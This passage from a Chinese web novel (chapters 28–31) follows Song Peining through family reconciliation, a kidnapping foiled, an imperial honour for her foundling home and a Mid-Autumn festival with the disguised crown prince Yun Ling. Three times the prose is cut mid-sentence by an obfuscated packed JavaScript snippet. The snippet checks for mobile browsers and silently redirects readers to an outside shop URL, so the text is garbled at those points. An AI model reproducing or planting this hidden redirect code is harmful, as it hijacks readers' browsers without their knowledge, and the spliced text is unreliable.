长长的车马近了,在宋府大门前齐齐整整地停了下来。 茹姨娘拿腔拿调,娇滴滴地喊了一声“老爷”,小碎步倒腾到轿子前。伸手正要撩开轿子的门帘,只见帘子里的人先动了动,茹姨娘见着原本笑盈盈的脸立马垮了。 “夫人……?” 夫人回府了。 只见宋沛宁的娘亲伸手掀开帘子,斜睨了一眼茹姨娘,并未再理她。 走下车,回头去接自家的囡囡。 宋沛宁跳下车,老爷这才随后走了下来。 齐齐整整的,一家三口人。 茹姨娘不可置信的瞳孔动了动。 她和小儿玉襄的戏,算是唱到头了。 28. 卿卿 后面的故事喜闻乐见。 临舟第一夫人,宋员外那个雷厉风行的夫人下山,不做道士修行了。 家中各项事务重整旗鼓,连同茹姨娘早些年放在府里养的闲人,全都夹起尾巴,生怕夫人震怒之下遣了自己回老家去。 茹姨娘再没了从前那些气焰,虽然心里不愤,面上须得压住了,万万不能显。于是心里憋着坏,盘算着下次再怎么好好挑唆宋沛宁,哪知几次下来,这小姑娘竟然不上当了? 什么时候学的聪明。 茹姨娘看着宋沛宁,阿宁如今照刚回家那时候个子长了不少,许是营养跟上了,也许是到了小孩子长个子的时期。 宋沛宁的面容逐渐了小少女的雏形,大而圆的眼睛里开始自有她自己的神韵。 茹姨娘还想拿从前骗小孩子的那套招数骗她,可惜不顶用了。夫人回府的那一刻,这一姑娘仿佛一下找到依仗,有依仗的孩子不会不安得自乱阵脚。 宋沛宁抿嘴笑了笑,抬头从容说到:“茹姨娘,小时候是阿宁不懂事,不知道是什么时候冲撞过姨娘,还请姨娘见谅。我与玉襄无仇无怨,往后也不打算大动干戈,毕竟是我弟弟,姨娘请回吧。” 茹姨娘并不甘心,当时宋沛宁在临舟四处出游,见到苦命乞丐总会打赏一二。姨娘自以为抓住了把柄,趁着老爷回府偷偷递小话。 “不是妾挑女公子的不是,但女公子成天和外面的乞丐野孩子打交道,也不知是不是女公子外出游历那几年习惯了,学坏了,外人瞧见难免说道。我们宋家的闺秀不该如此。” 老爷也觉得宋家的闺秀不该如此。 转天便在饭桌上提起此事,宋沛宁放下碗,斜眼瞪了一眼茹姨娘,才看回爹爹的脸。 “阿爹,您要说我做的事不妥,那您说的话也大不妥了。从前若不是乞丐对女儿处处相助,女儿如何活到今天。真正的闺秀不该在意这些,做人也好,做闺秀也罢,最重要的是别因为养尊处优的今天,就忘了颠沛流离的昨天。” 宋沛宁说这话,眼睛是对着老爷说的,话却是冲着茹姨娘说的。 提醒姨娘好好正视自己,时刻摆正自己的位置。 老爷不反驳,说起来,宋沛宁的话老爷很少反驳,拾起筷子继续吃饭。看不出表情的脸上,不知道听不听出宋沛宁说给茹姨娘的话外音。 又过了半月。 偏房传来茹姨娘凄厉的惨叫声,房里的丫鬟小厮慌不择路。 小儿宋玉襄丢了。 才这么大的一个娃娃,刚学会摇摇晃晃地走,跑还没学会呢,府上没有,能去哪里? 茹姨娘吓坏了,外面牙贩猖獗的风声始终未停,她一直觉得身处宋宅大院没什么贩子能对她的骨肉下手。 茹姨娘疯了一样到处找孩子,在宅子里,去街上,去宋家的商铺,到处都没有。临走到街转角的医馆,看见宋沛宁正在陪一个小乞丐治伤寒。 茹姨娘冲过去:“阿宁,好阿宁,你弟弟丢了,快和姨娘去找你弟弟吧,你去找你阿爹说,快去救救你弟弟。” 宋沛宁似笑非笑:“我弟弟?” 茹姨娘崩溃地点头,“对呀,你的亲弟弟玉襄呀。过去姨娘确实对你不好,你回家后几次离家出走,与你阿爹结下误会隔阂也是我从中挑拨,但是……还是孩子是无罪的呀?你快去帮我跟姥爷说说好不好?” 宋沛宁放下手上的药包,神情由笑转为平静,站起身说道:“姨娘,我说过了,我玉襄无仇无怨,往后也不打算大动干戈……” 宋沛宁说完顿了顿,侧了侧身,转身看向医馆账号的木头台子。 宋玉襄由云翎领着歪歪扭扭地从台子后面走出来,小胖手在空中上下挥舞得起劲,脸上挂着玩得很开心的笑容。 “玉襄没事,让我带出来玩了,害你担心。” 茹姨娘吓得眼角含泪,急忙跑过去一把抱住了小玉襄。 玉襄笑得天真,牙牙学语的,露着一口还没长齐的牙齿,“阿娘,阿兄厉害……天上飞,好玩。” 茹姨娘听不懂儿子在说什么,她只是觉得眼前的姑娘令她后背浸出冷汗,兴许宋沛宁为了报复她的多言,竟然对这样小的小孩子下手,还能没事人一样笑出来,茹姨娘心生顾及,抱着儿子慌也似地逃走了。 茹姨娘不知道的是。 宋玉襄说的那句话其实是:阿娘,我身后的这个阿兄好厉害!他会在天上飞,在天上转圈圈,在屋檐上打架,我好像飞起来了,最后阿兄还能接住我,好好玩。 宋玉襄确实被人抱走了。 犯事的人,就是她那些作威作福的穷亲戚带进来的穷老乡,如今宋府的管事换人了,油水不如从前大,连后厨掌事都小心翼翼起来,越发觉得这差事难做,也做不得了。坊间听闻拐卖孩子赚钱,不如干一票大的,早早回去做地主娶媳妇。 傍晚,茹姨娘原打算好了,势必要抹着眼泪哭天抢地地好好闹腾一番,就见打院外一个穿着宋家家丁衣服的下人被宋沛宁带了上来。 不等宋老爷发话,宋沛宁先拱手说道:“阿爹,家贼难防,家里出了外心,我看留不得。” 被拎上来跪在堂前的小厮吓坏了,哭着哀求着求饶:“老爷,夫人,小姐,姨娘,我是一时糊涂哇!看在我入府多年伺候的份上,放我回家,千万不要把我送去府衙……” 方才这人拧着身子没看清,临到说话了,茹姨娘这才看清这个老熟人。 宋老爷问:“他怎么了?” 宋沛宁看了看茹姨娘愣在当场不可置信的脸,低头瞥了一眼求饶的老家丁。 “您还是让他自己跟您说吧。” 宋老爷生平最恨牙贩,没等他说完,一拍桌子,勒令人将他拖去衙门。 家丁慌得直摇头,宋沛宁见状,突然蹲下身,与他平视,问道:“那你告诉我,是谁撺掇的你,我们就考虑放了你。” 那家丁本欲言起,但想了想,话又吞回肚子里,什么都不肯说了,只是一个劲儿地摇头。 他一边摇头一边说:“女公子,有些事还是不知道的好……还是不知道的好……” 见他什么都不说,立在一旁的裴不廖便只能把他拖走了,心里的话只能咽下去,再也没有机会说。 那家丁当时就心知肚明,自己个儿寿数尽了。 他们老白姓人活在世,各有各的命数,这世道没有公平可言,生死都由不得自己,沉浮全归结为命数。更别妄想做那主持公道之人。小心引火上身,被那些不公道的阴影吞噬。 他本想这么告诉宋沛宁,转念一想又觉得自己多嘴,万一,有宋员外支撑的宋沛宁就是那个跳出命定的人呢。 不出几日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13127743|136116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,衙役私下里都在传,知府大人原念在这家丁是初犯,且作案未遂,诚心悔过,本不是大罪,谁知竟离奇死在了大牢里。 是自杀身亡尽,还是被人迫害而死? 不得而知。 小小的,贱如草芥的,家丁的命,本就不值一提。 此桩案子便以家丁畏罪自尽潦草地了了。 宋府这厢,茹姨娘知道是宋沛宁救了她的玉襄,感激涕零,诚心悔过。 宋府闹了大半年难理清的家务事,也好不容易消停了下来。 终于有了回家的感觉的宋沛宁,抛下一切顾虑,安安稳稳地长大。 云翎陪在她的身边,守着她的无忧无虑,也安安静静地长大。 宋沛宁有时夜里睡不着,爬起来和云翎一起看星星,云翎指着星星给他讲故事。 天上的星星啊—— 从来都不是孤零零的一颗。 他们连成线,每一颗都有自己动人写意的故事。 宋沛宁趴在窗框上,下巴抵着自己抱起的双臂,歪头看他。 她问:“阿回,你怎么懂那么多啊?” 阿回缄默,不再多说话,提手指了另外一颗星,告诉宋沛宁它的名字。 说着说着,宋沛宁有些困了,声音渐小,染上浓浓睡意。 “阿回,你讲了这么多故事,什么时候才能和我关于讲讲你的故事?” 宋沛宁自己说完,呼吸声跟着重了,紧接着好像彻底睡着了。 云翎侧过脸,借着皎洁的月光静静地看了宋沛宁半晌,云翎微微垂着头,眼里亮晶晶的,像在眼里含着星星。 他的嘴巴动了动,喃喃说了什么,又好像在自言自语。 等到你我都长大,我能娶你的时候。 又不知道,还能不能等到那时候。 因为你能长大,我却不知道能否真的娶到你。 云翎自嘲无奈地笑了,他抬头看了看天上被暗暗的云掩盖的月亮,抬手把宋沛宁身上的被子往里掖了掖。 阿宁,别去好奇我,只要你知道我会一直在你身边,帮你去做所有想做的事,你能得偿所愿,然后好好长大吧。 “阿回。” 云翎以为宋沛宁醒了,手上的动作顿了一下看过来。 “嗯?” “你会一直在我身边吧?” 少女睡得迷糊,顺着小少年冰凉的手指,娇嗔地枕在了他的手臂。 云翎僵着不敢动,回答:“会。” 宋沛宁吸了吸鼻子,继续说着梦话:“我还很不行,有时候觉得,好多想做的事情因为太弱小了都做不到……但是你不一样。” “我不一样?” “嗯,你不一样。你是我见过最深藏不露的人。” 云翎在月光下笑了,“深藏不露是夸人的词吗?” “是。” 宋沛宁睁开眼睛,在月光下和他对视。 “你还是我见过最温柔的人。” 心里的银铃声叮叮当当地乱响。 月光下,四处寂静,谁都没有看见。 宋沛宁还是那个任性娇惯的宋家女公子,做什么都有她的理由,无需对人解释。她笑起来,忽然支起身子靠近了一身布衣朴素干净的她的阿回。 一枚青涩又透明的吻,轻轻落在他的唇。 29. 卿卿 清晨的白日光晃了眼,宋沛宁在梦中皱了皱眉,梦里的记忆片段渐次模糊不清。 房门被人推开,竹叶端着一碗茶走了进来,轻手轻脚放在圆桌上,而后走到宋沛宁轻轻唤她起床。 “女公子,女公子,时辰到了,醒醒。” 宋沛宁不情愿地睁开眼,梦中的阿回烟消云散,只剩下还似乎留在梦中。从前也不是没梦见过阿回,只是不比近来频繁。 宋沛宁揉了揉睡得发胀的头,随口问起:“现在几时了?” “卯时了。”竹叶把宋沛宁的床帐纱帘卷起来,“先生也快到了。” 听到云翎的名字,宋沛宁的眼睛后知后觉地亮了一下,紧接着坐起身来。竹叶见宋沛宁动了动身,眼疾手快地撑着她的背扶她起身。 转眼,云翎已经来慈幼院教书已经快三个月了,两人从一开始的剑拔弩张逐渐平和。 宋沛宁抱着好胜心几次试探,用从前只有她和阿回知道的秘密套云翎的话,谨慎如云翎,每次此时脑筋转得极快,愣是一次都没接。虽然暂时还不能确定云翎就是阿回,但宋沛宁早就全心全意地相信了云翎,相信他说的所有的话。 相识的季节从春日走到了秋,天气转凉,换下夏季的薄衫,穿起稍厚重的褥裙。 云翎再来学堂也为自己加了衣,那衣裳的料子极好,即使是宋沛宁也多见,因此多看了两眼。也不知怎的,这两眼被云翎默默收进眼底,记在心上,没几天派人送来一身新衣裳,用的就是他那日穿的相同的料子。 只不过颜色不同,云翎那日穿的是枫叶黄,宋沛宁的那件颜色更娇嫩些,是一袭鹅黄色的长裙。枫叶颜色更深,女公子穿上许是显得老气,鹅黄色刚好,明艳且大气。 不过宋沛宁的好气色不仅体现在新衣服上。 就在这年秋日过半的时候,慈幼院还发生了一件大事。 民间慈幼院破天荒受到皇帝钦赐嘉奖,龙颜大悦,从皇宫里赏了一块皇帝亲笔题“慈幼院”三个大字的牌匾,并赐宋沛宁“仁心娘子”称号,赏银千两。 有皇帝的照拂,这下普通老百姓都知道宋沛宁的慈幼院了,“仁心娘子”的美名一时在京城中口耳相传。 皇家的牌匾送到京郊慈幼院府上时,宋沛宁就是穿着云翎送的那身接的礼。 行跪拜礼听宫里的公公宣读完皇上亲诏的圣旨,宋沛宁颔首双手接下圣旨,随后命人去接下皇宫里送出来的牌匾,当着公公的面谦逊地挂上。 公公常年行走在宫中,是个精明很会看人的老狐狸了。他打进来慈幼院的院子,就看见宋沛宁身上的这身衣服。 寻常人家,哪里穿得上波斯国上供的上品丝绸好料。 早就听过传言,说太子殿下在宫外动了凡心,见天儿地倒腾宫里的好东西到宫外去,眼巴巴地送给那位钟情的女子。御膳房的厨娘子还带走一位呢! 前几日还有内务府的人说,太子取走上好的衣服底料赶做了一件极华丽的长裙,这料子珍贵,就算放在宫里也是紧缺的。太子做好衣服倒是两手一挥地走了,可苦了内务府做事的差事,后宫娘娘的料子互相不够分,还去内务府闹过一阵。 没成想“祸源”今日竟让他撞见了。 太子殿下平日里清冷寡淡得很,从不与人深交,更别提曾倾心过谁家的女公子,如此大动干戈一心一意对待一名女子,可谓是第一次。 思及此,公公的眼里闪过一丝狡黠,但又很快敛了神色。只见抱着一把拂尘,低眉顺眼地揣着手,走到宋沛宁跟前。 循循善诱地问:“女公子可知,陛下是怎么知道慈幼院美谈的?” 宋沛宁正仰头看着家丁登高,新旧牌匾交替,仔细着别磕着了龙恩,又担心自家的家丁有闪失。 冷不防听到公公前来搭话,宋沛宁回过头先客气地笑了笑,随即答道:“这……小女还真不知,公公若知晓其中一二,如公公方便还请公公透露些许。” 面对堂堂太子殿下的心上人,公公哪里还有不方便一说,只见公公热情得脸似是快要笑裂了,摆摆手,说道:“女公子哪里话,小的也是听闻,说是太子殿下向陛下谏言的。女公子与我们太子殿下可谓是……” “金童玉女”四个字还没来得及说,倒见宋沛宁脸上现出迷茫的神色。 宋沛宁有些陷入沉思,“太子殿下……?” 可是她与太子殿下并未有过交集呀! 思索了会儿,才重新笑着回公公:“说来惭愧,小女与太子殿下也未见过,只是与殿下门徒有过几分交情,无形之中竟受了太子殿下如此宏恩,一时也是受宠若惊,还请公公见谅。” 这是什么话,太子殿下何时有过门徒? 公公听完也是一怔,慈幼院的家丁在院中穿梭着,各有各的忙碌。这时,从院门外跑到一个小少年,自称是“小五”的,向他与女公子各拱了拱手,恭敬地说道:“女公子,慈幼院学堂的云先生来了。” 顺着小五的话转过头,公公心道:刚还说不认识太子殿下,太子殿下都好端端站在门口了。 正要行礼,就见的宋沛宁直挺挺地过去,简单和殿下打了声招呼。二人并肩,宋沛宁给殿下指了指刚到的牌匾,殿下就像不知有此事一般,做惊叹状,仰头打量半晌,而后向宋沛宁道喜。 公公再一次在这小小的慈幼院怔愣住,眼前这一景象,两位贵人又是唱的哪一出? 还未搞清楚状况,宋沛宁已经引着云翎走向了自己,不等先向太子作揖,就听宋沛宁向他如此介绍道:“这位是宫里特来送牌匾的大人,这位是我们慈幼院的教书先生,听闻也在太子殿下处当差,二位应该见过吧?” 两位宫里低头不见抬头见的人相见分外尴尬,互相看了一眼。公公哪里敢怠慢,早一步拱手行了礼。 云翎表情风轻云淡,脸不红心不跳地粉饰太平,淡淡回了一礼,道:“早听闻公公美名,今日第一次见,见过公公。” 公公心里明白过来几分,客气地陪太子寒暄了几句,演完戏,坐在回程的轿子里腿都软了。 多亏了他在宫里这么多年察言观色的本事,“金童玉女”四个字没说出来,及时送了口,不然天晓得他给殿下捅了多大的篓子。 万一耽误了殿下追求 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13150575|136116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太子妃的大计,他的脑袋还留得留不得。 京城一切顺利,慈幼院越做越好,但许是秋天来了的关系,宋沛宁难免思念家中亲人。 一日,宋沛宁闲来翻来年历,惊觉一年到头时间竟然过得这样之快。她明明记得,初到京城时还是春天,人不升地不熟,只有满街的柳絮乘着春风乱飞,鼻子总是很痒。 然而转眼季节就过渡到了秋,宋沛宁的手停在不久之后的中秋节,盯着看了良久,怎么也翻不过去。 中秋节了啊……中秋思团圆,不知老家的亲人是否都过得好。 阿爹和阿娘身体健康吗,一定趁她不在家偷偷起好几次争执游偷偷和好了吧?阿弟玉襄呢,个子有没有长高,长了半岁会变得更淘气吧……不要气坏了茹姨娘才是。 夜里,宋沛宁点着油灯,抵不过心里的惦念,提笔给家中写信。 阿爹阿娘,见信好。 转眼已经是阿宁来到京城的第三个季节,自从重新回到家,阿宁还从来没有离家这么久过。所以,有时阿宁总是忍不住想,当初下定决心来到京城是否冲动了些,欠考虑了些,太匆忙了些。如果在家的时候好好告别一下呢,把家里的大米、白面、平时爱吃的糕点果子、穿惯的衣裳全部带上,初来乍到的时候会更加适应一些吗。 京城很大,人也很多,好的坏的,受苦受难的,高高在上的,拥挤在同一座城里,各不相干地又意外和谐地生活着。 阿宁在破瓦寒窑里遇到奄奄一息的老者,也见识过从那座贵人一等的城墙里的贵人,但阿宁始终是阿宁。 前几日,我还收到了一纸皇宫下达的诏书,你们的好囡囡出名啦,皇上亲题的匾额,对慈幼院的善举赞赏有加。于是,民间有人跟着效仿,不知处于怎样的目的,我倒不介意他人争功,若是对流童受益,没什么不好的。 如今慈幼院好不容易步入正轨,阿宁在京中一切都好,阿爹阿娘也不要惦记。 笔尖悬在最后一行,从头又回看了看。只报喜不报忧,是不是显得太假了?可是来京后遇到的困难种种,薄薄的纸张写不下,也不愿说与家人听,免得他们离得那么远,还要劳神惦念。 转念想到近日行迹古怪的裴钱霍,常常早出晚归,也不知道在别扭什么。 于是宋沛宁提笔,这么写道:嗯……裴钱霍总是黑着脸,吓坏过路人,影响很不好。 这下再看看,便不觉缺什么了,落款提上“想念阿爹阿娘的阿宁”,天一亮信便送出了。 信件快马加鞭,不日收到回信,回信有两封。一封给宋沛宁,一封给裴钱霍。 给宋沛宁的那封,全是一个慈祥的爹爹宠溺的叮嘱:囡囡真有出息!不愧是我们宋家的女儿!阿宁银钱可够花?爹爹再给些, 入秋天气转凉,去成衣铺子里选两件新衣裳,听闻京城比临舟要冷得早些,千万不要着凉了,让爹爹心疼。出门在外,莫要委屈了自己。 相比裴钱霍收到的那一封就显得稍微严厉了些,同样是亲爹,裴不廖在信中横眉冷对,力透纸背地写道:谁让你整日黑着个驴脸!不肖子孙!给老子笑! 30. 卿卿 裴钱霍收到家书看得一头雾水。 原以为离家许久,阿爹定是也想念他了,展开信兴致勃勃地看完,黑黑的小脸上隐约透着迷惑。思索良久都没想明白,大老远的,他是怎么惹他爹老人家不愉快了。 而始作俑者宋沛宁坐在一旁,使坏的眼珠子滴溜溜地乱转,瞥见裴钱霍的黑脸,实在好奇裴伯伯写了什么。于是趁裴钱霍不注意,一把抢过信纸快速略完一眼,立刻笑得十分开怀。 裴钱霍很聪明,心下立即就明白了过来,他爹的父爱消失得这么彻底,问题多半就出在幸灾乐祸的宋沛宁身上。 他和宋沛宁这对青梅竹马,从小就是对小冤家,见不得对方过得太好,不给对方添点堵浑身不舒服。 “宋沛宁!你小没良心!” 裴钱霍咬牙切切,作势要去追她锤上一顿解恨。 银杏铺满空荡荡的院子,院子里的少年少女你追我赶,宋沛宁扔了信纸,笑着边躲边回头。 “谁叫你整日整日地不理我,你瞧你笑起来的模样多好看,日后能不能多笑笑?” 裴钱霍一听这话,犹豫了一下,停下了脚步。 千思万绪绕了一大圈,最后落在最无关紧要的点上。 “我何时不理你,只是遇上了点事情,但这事有点危险,在我查明白之前,还不能告诉你。” 宋沛宁不疑有他,听裴钱霍这么讲,面上表情认真起来,主动靠过来问道:“什么事?你也不要独自涉险,有事情还是要说与我听。” 裴钱霍叹了口气,从他爹那辈开始,他们姓裴的始终都忠心耿耿死心塌地地守着宋家,到了他这辈,那种服从与忠心仿佛是血液里流淌着的,除了一心一意地对待宋沛宁,他似乎没什么选择权。 定了定神,调整神色只好顺着宋沛宁的话回答。 “我好像查到小一的下落了。” “小一?”宋沛宁眼前一亮,“他在哪?” “他在一家矿场做工。”裴钱霍顿了顿,微微抬头打量宋沛宁的神情,试探着慢慢开口,“你记不记得我上次和你说的善财徐公子?” 宋沛宁点点头,和她志同道合的一位公子,因为好施善财,所以被人送美名“善财公子”,这位虽然做得比她晚了个把月,但却较她先在京城圈里出了名。 “记得,怎么了?”宋沛宁问。 “善财徐公子……也是小一。” 裴钱霍说完,宋沛宁紧接着因为太过震惊而瞪大双眼。小一……那位徐公子据说出手十分大方,可小一只身来到京城,最后一次通信前,他还和人一同挤在瓦房通铺上,怎可能摇身一变成了善财公子? 裴钱霍顿了顿,立马读懂了宋沛宁的顾虑,继续说道:“其实,几个月前徐公子刚开始时,我就收到过徐公子派人来送的信。信上说,这位徐公子倾慕你良久,做此事也是受你的启发,希望同你见上一面。为保你安全起见,我才暗地里调查起徐公子,没想到竟意外发现这徐公子就是小一。” 宋沛宁稍作思索,理清头绪:“那信呢?” 裴钱霍从怀中掏出一封信,递了过来,“在这,不过。”裴钱霍按着信没有立刻松手,提醒宋沛宁直言道,“你有没有想过,离别之后再遇见的人,还是不是当初那个人?” 与此同时,距离京城十万八千里的临舟宋府大宅,宋老爷子的寝室正乱得不成样子。 临舟地处江南,位置比京城要偏南一些,不像京城初显早晚泛凉的迹象,临舟此时还热着。 南北气温有所差异,前去北上探望囡囡,一时不知道穿什么好。另外想给阿宁带些临舟特产,全是阿宁小时候爱吃的,无奈一颗老父亲的爱心什么都想给囡囡带,结果装不下,挑挑选选又哪个都舍不得放下。 宋老爷子自从前些日子收到宋沛宁的来信,他的好囡囡在心里诚实地写到想阿爹想阿娘,这老爷子就坐不住了,心里像是长了双小手在心里抓得直痒痒。 宋老爷如今年轻时候爱闯荡,仿佛年纪越大越在乎血浓于水的亲情,挂念子女常常写在脸上。一连几日,想他家阿宁想得坐立难安,某日晚饭饭桌上,夫人看不下去,白眼翻了一眼自己那没啥出息的老头子,放下碗筷,终于忍不住问道。 “你和丝绸坊的那批单子可结了?” “结了。” “那上个月和张掌柜纠纷案子,官府也判完了?” “判完了。” “珠宝铺子闵掌柜欠咱们的3000两银钱讨回来了吗?” “都讨回来了……不是,夫人你……” 宋老剩下那半句“你不是都知道吗”还没问出口,只见阿宁娘抢了他的话头,忍着笑意说道:“那还等着干什么,进京看囡囡去。” 一听这话,宋老爷子的眼睛都跟着亮了。站起身,晚饭也顾不上吃,回屋翻墙倒柜收拾行囊,这就打算去看阿宁去了。 中秋佳节好团圆。 宋老喜滋滋地想,仔细掐算距离中秋节也没剩下几天,即便这两天上路也是需要脚程的,上次阿宁去京走了一月有余,这么算起来…… 家主顿住动作,眼睛在七零八落的行李上寻寻觅觅转了一圈,而后回头喊了一句。 “囡囡她娘,我过冬的袄子要不要带一件?” 而对于亲爹即将要来京的事宜,宋沛宁本人还不知道。 转眼就是中秋节,宋沛宁想起以前在家里过中秋,宅子里一向都是热热闹闹的。今年一个人出门在外,过节也不能显得太寒酸,而且收了好些孩子,进慈幼院的第一年,总归得留下点好回忆。 宋沛宁预备在中秋当天在院里置办些活动,傍晚没天黑的时候叫来孩子一起做月饼,稍晚一点搭个临时的戏台子,放了孩子到上面去闹去疯,其余的在下面一边吃月饼一边乐呵,热热闹闹的。 等到正式入夜了,就在正院都点上灯,灯火通明的,不心疼油烛钱,要亮一整晚,最好能照亮所有孩子回家的路。 次日,慈幼院要开中秋节庆的事情就在院里传开了,来教书的云翎顺带收到请柬一封。 宋沛宁笑眯眯地邀请:“别客气,过来玩。” 云翎低头左右端详了一下,笑着点了点头,还是那种风清云朗的模样。 几个月下来,宋沛宁自觉和云翎已经混得很熟了,可只在偶尔,还是会突然有摸不透他这个人的陌生的想法产生。 但有一点宋沛宁很确定,几近偏执地相信,云翎就是阿回。 为什么呢? 只能说云翎对自己老底儿的讳莫如深,这股子劲头,和当年的阿回如出一辙。 越避讳越能说明破绽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211279|136116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不过这事,宋沛宁还没点破。 但中秋节庆,她给云翎,或者说给阿回,也准备了一手。 中秋当天,拿着请帖的云翎如约而至。 慈幼院的孩子们已经积聚了许多,每次从大门打直穿过进院子,逐次的开始觉得拥挤。 小五六七在院子里正在做最后的准备布置,看见云翎来了,恭敬地唤了一句“先生”,连忙请他进内院去找女公子。云翎倒是不急,看着小五六七手上的活还有的忙,便自发地挽起袖子帮忙。 让客帮忙多少有点不好意思,小五犹豫了一下,说:“先生,您还是放下吧,这点活我们一会儿就能做完。” 云翎倒是不太在意,回道:“无碍,反正你们女公子坐不住,很快就能跑出来。” 云先生倒是了解女公子的,果然,不出片刻的功夫,宋沛宁坐不住了,从后厨风风火火地走出来,一手端着月饼皮一手端月饼馅。 “快快快,小五、小六、小七,布置好了吗,慢吞吞的,孩儿们都快要饿瘪了。” 叨念着跑出来,宋女公子先定身再定神,映入眼帘的是挽着袖子,弯腰正装桌子腿的云翎。 “快好了。” 回答她的话的,是一个温润熟悉的声线,但又不属于小五六七。 黄昏里的云翎挺拔的身影像是发着光一般,他闻声,回过头,宋沛宁忽然觉得心头涌上一种莫名的心安。 方圆的大桌子布置好,做月饼原料也都准备齐全,全都端上了桌。大的小的孩子,围着桌子边,跟着厨娘子一步一步地做。 月饼做得其乐融融,宋沛宁看着自己院中的孩子笑得弯了眼睛,心里也高兴。 孩子们各有各的性格,各有天马行空的想法,娘子教完怎么□□包馅,剩下就靠大家自我发挥。 有人把月饼做成花朵形状、有人做成人形、小猫小狗形。 月饼上还能写字,有人写“中秋喜乐”,有人写“顿顿有肉吃”,有人干脆在上面画画,画月亮、画星星、画花花草草。 宋沛宁费了不少心思,做了一个很大很大的双层月饼,引来好多孩子围观。 有人问:“女公子你做这么大的月饼做什么呀?” 宋沛宁手心里还有面,用手背蹭了一下鼻头,有点大咧咧,又有一点骄傲。 “为了给你们吃。”非常朴实的回答,宋沛宁“嘿嘿”笑了两声,“怕你们不够吃。” 尽管女公子说得这么没有诗意,但孩子们还是很给面子地又笑又拍巴掌。 “女公子那是希望你们都能在她的照拂下好好长大。” 安静许久的云翎在人群里终于开口说了话,一语道破宋沛宁的真实心愿。 “所以别辜负你们女公子的一片好意,都要好好长大,知道了吧。” 云翎话落,院子里的小眼睛眨巴眨巴纷纷看过来。 那先生做了怎样的月饼? 视线落下,只见云翎手里握着小小的一个。 个头小了些,但胜在精美,仔细打量半晌,月饼上刻着一个人的小像。 那小像栩栩如生,仿佛对这像上的人熟稔于心,在没人的地方偷偷刻画过无数次,思念无声无息,每一笔都藏满思量。 任谁都可以看出,先生刻的,是一樽宋沛宁的小像。 31. 卿卿 童言无忌,立刻有天真的声音指着先生的月饼大声喊道:“原来先生雕了女公子,模样竟是这样栩栩如生!” 宋沛宁闻声看过来,对上云翎的眼睛,云翎眼光潋滟,隐约红着脸伸手挠了挠头,然后温温柔柔地笑了起来。 月饼制作完成,小五六七从后厨端来托盘,把大家做好的月饼放在托盘上,再带回后厨统一烘烤。 天色逐渐暗下来,院里点起来夜灯,眼前立马亮堂起来,犹如万家灯火一般,许许多多的灯烛在夜风里摇曳晃动着,映在人的瞳孔里仿佛跳动的希望。 中秋节真正的晚宴这才开始,白天搭建的台子,此时此刻熠熠生辉地闪着光。 宋沛宁早有安排,怕慈幼院的孩子抹不开面,开场叫小五六七三个小兄弟先上去热个场。 当时宋沛宁跟他们三个说的时候,三个小兄弟空前一致地面上显露出难色。 内心道:女公子忒损,好事轮不到他们哥仨儿,这种抛头露面丢人现眼的事倒是先起来他们倒霉三人组了。 面面相觑,互相看了看,然后尴尬地笑笑算了。 不过倒霉三人组也不负所托,宋沛宁一向看人很准,三个人费了吃奶的劲,演了一出双簧儿。还是一个人配两个音的那种,逗得台下的大人孩子哈哈大笑。 宋沛宁在台下自然也看得十分开心,笑得捧腹,一直鼓掌。台上的三个人表演完,一齐向台下举了一躬,排着队走下台,收获欢呼声无数。 场子果然热了,接下来慈幼院的孩子们也不怯场,纷纷上台,什么本领都往上招呼,台上台下其乐融融。 云翎借着热闹的氛围,走到宋沛宁的近旁,他侧头看她,夜晚的灯光把宋沛宁的脸照得十分柔软。 “慈幼院一家相亲相爱,着实令人羡艳。” 宋沛宁闻声回过头,客气地说:“先生哪里话,先生既然来慈幼院教书,自然也当算我们慈幼院的一员。一家人不说两家话,自家的热闹何必分得这样细。” 云翎颔首,还是翩翩君子的模样。 距离他们不远处的台上,一对曾经在杂技团待过的姐弟,正骑着木轮车表演了一出喷火。近距离观看如此精彩的演出,对于慈幼院的孩子并不多见,喝彩一声高过一声。 云翎动了动嘴巴,仿佛顺着宋沛宁的话说了什么。 但现场太乱,宋沛宁一时无法听清楚,乱哄哄的背景里,只好凑过耳朵,靠近云翎去听他说话。云翎见状,也凑了过来,不知觉两个人凑得很近很近。 云翎温凉的气息扑在宋沛宁耳后一小块轻薄的皮肤上。 她听见云翎用很轻很轻的语气问她:“那你如今开心了吗?” 冷不防听云翎这么问,宋沛宁差点以为自己听错了,怔了怔神。 云翎看宋沛宁不解,又凑上来,继续问:“我说,阿宁——你当初的心愿可都成真了吗?” 当初的心愿? 